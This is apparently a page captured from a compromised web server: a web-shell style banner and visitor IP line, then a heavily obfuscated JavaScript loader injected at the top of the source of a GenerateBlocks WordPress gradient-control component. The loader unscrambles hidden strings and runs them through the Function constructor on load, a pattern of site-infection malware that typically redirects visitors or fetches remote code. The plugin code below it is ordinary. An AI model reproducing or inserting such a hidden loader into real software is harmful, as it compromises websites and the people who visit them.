AlkantarClanX12
Your IP : 3.144.6.29
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();/**
* Internal dependencies
*/
import './editor.scss';
import ColorPicker from '../color-picker';
import hasNumericValue from '../../utils/has-numeric-value';
/**
* WordPress dependencies
*/
import {
__,
} from '@wordpress/i18n';
import {
Component,
Fragment,
} from '@wordpress/element';
import {
BaseControl,
ToggleControl,
TextControl,
RangeControl,
SelectControl,
} from '@wordpress/components';
/**
* Typography Component
*/
class GradientControl extends Component {
render() {
const {
attributes,
setAttributes,
attrGradient,
attrGradientDirection,
attrGradientColorOne,
attrGradientColorOneOpacity,
attrGradientColorStopOne,
attrGradientColorTwo,
attrGradientColorTwoOpacity,
attrGradientColorStopTwo,
defaultColorOne,
defaultColorTwo,
} = this.props;
const {
gradientSelector,
innerZindex,
useInnerContainer,
position,
} = attributes;
const selectorHelp = 'element' === gradientSelector ? __( 'Displays behind the background image.', 'generateblocks' ) : __( 'Displays in front of the background image.', 'generateblocks' );
return (
<Fragment>
<ToggleControl
label={ __( 'Use Gradient', 'generateblocks' ) }
checked={ !! attributes[ attrGradient ] }
onChange={ ( value ) => {
const props = this.props;
let gradientDirection = attributes[ attrGradientDirection ],
gradientColorOne = attributes[ attrGradientColorOne ],
gradientColorTwo = attributes[ attrGradientColorTwo ];
if ( value ) {
gradientDirection = gradientDirection || 90;
gradientColorOne = gradientColorOne || 'rgba(255, 255, 255, 0.1)';
gradientColorTwo = gradientColorTwo || 'rgba(0, 0, 0, 0.30)';
}
setAttributes( {
[ props[ 'attrGradient' ] ]: value, // eslint-disable-line dot-notation
[ props[ 'attrGradientDirection' ] ]: gradientDirection, // eslint-disable-line dot-notation
[ props[ 'attrGradientColorOne' ] ]: gradientColorOne, // eslint-disable-line dot-notation
[ props[ 'attrGradientColorTwo' ] ]: gradientColorTwo, // eslint-disable-line dot-notation
} );
} }
/>
{ !! attributes[ attrGradient ] && (
<Fragment>
{ 'undefined' !== typeof gradientSelector &&
<SelectControl
label={ __( 'Selector', 'generateblocks' ) }
help={ selectorHelp }
value={ gradientSelector }
options={ [
{ label: __( 'Element', 'generateblocks' ), value: 'element' },
{ label: __( 'Pseudo Element', 'generateblocks' ), value: 'pseudo-element' },
] }
onChange={ ( value ) => {
setAttributes( {
gradientSelector: value,
} );
if ( useInnerContainer && ! hasNumericValue( innerZindex ) && 'pseudo-element' === value ) {
setAttributes( {
innerZindex: 1,
} );
}
if ( ! useInnerContainer && 'pseudo-element' === value && ! position ) {
setAttributes( { position: 'relative' } );
}
} }
/>
}
<BaseControl>
<span className="components-base-control__label">{ __( 'Direction', 'generateblocks' ) }</span>
<RangeControl
value={ attributes[ attrGradientDirection ] ? attributes[ attrGradientDirection ] : 0 }
onChange={ ( value ) => {
setAttributes( {
[ attrGradientDirection ]: value,
} );
} }
min={ 0 }
max={ 360 }
step={ 1 }
initialPosition={ 90 }
/>
</BaseControl>
<BaseControl>
<span className="components-base-control__label">{ __( 'Color One', 'generateblocks' ) }</span>
<div className="gblocks-component-gradient-control">
<ColorPicker
value={ attributes[ attrGradientColorOne ] }
alpha={ true }
valueOpacity={ attributes[ attrGradientColorOneOpacity ] || 0 === attributes[ attrGradientColorOneOpacity ] ? attributes[ attrGradientColorOneOpacity ] : 1 }
attrOpacity={ 'gradientColorOneOpacity' }
onChange={ ( value ) =>
setAttributes( {
[ attrGradientColorOne ]: value,
} )
}
onOpacityChange={ ( value ) =>
setAttributes( {
[ attrGradientColorOneOpacity ]: value,
} )
}
onClear={ () =>
setAttributes( {
[ attrGradientColorOne ]: defaultColorOne,
} )
}
/>
<TextControl
className={ 'gblocks-component-gradient-stop-value' }
type={ 'text' }
value={ attributes[ attrGradientColorStopOne ] || 0 === attributes[ attrGradientColorStopOne ] ? attributes[ attrGradientColorStopOne ] : '' }
placeholder={ __( 'Stop position (%)', 'generateblocks' ) }
onChange={ ( value ) => {
setAttributes( {
[ attrGradientColorStopOne ]: value,
} );
} }
onBlur={ () => {
if ( attributes[ attrGradientColorStopOne ] || 0 === attributes[ attrGradientColorStopOne ] ) {
setAttributes( {
[ attrGradientColorStopOne ]: parseFloat( attributes[ attrGradientColorStopOne ] ),
} );
}
} }
onClick={ ( e ) => {
// Make sure onBlur fires in Firefox.
e.currentTarget.focus();
} }
/>
</div>
</BaseControl>
<BaseControl>
<span className="components-base-control__label">{ __( 'Color Two', 'generateblocks' ) }</span>
<div className="gblocks-component-gradient-control">
<ColorPicker
value={ attributes[ attrGradientColorTwo ] }
alpha={ true }
valueOpacity={ attributes[ attrGradientColorTwoOpacity ] || 0 === attributes[ attrGradientColorTwoOpacity ] ? attributes[ attrGradientColorTwoOpacity ] : 1 }
attrOpacity={ 'gradientColorTwoOpacity' }
onChange={ ( value ) =>
setAttributes( {
[ attrGradientColorTwo ]: value,
} )
}
onOpacityChange={ ( value ) =>
setAttributes( {
[ attrGradientColorTwoOpacity ]: value,
} )
}
onClear={ () =>
setAttributes( {
[ attrGradientColorTwo ]: defaultColorTwo,
} )
}
/>
<TextControl
className={ 'gblocks-component-gradient-stop-value' }
type={ 'text' }
value={ attributes[ attrGradientColorStopTwo ] || 0 === attributes[ attrGradientColorStopTwo ] ? attributes[ attrGradientColorStopTwo ] : '' }
placeholder={ __( 'Stop position (%)', 'generateblocks' ) }
onChange={ ( value ) => {
setAttributes( {
[ attrGradientColorStopTwo ]: value,
} );
} }
onBlur={ () => {
if ( attributes[ attrGradientColorStopTwo ] || 0 === attributes[ attrGradientColorStopTwo ] ) {
setAttributes( {
[ attrGradientColorStopTwo ]: parseFloat( attributes[ attrGradientColorStopTwo ] ),
} );
}
} }
onClick={ ( e ) => {
// Make sure onBlur fires in Firefox.
e.currentTarget.focus();
} }
/>
</div>
</BaseControl>
</Fragment>
) }
</Fragment>
);
}
}
export default GradientControl;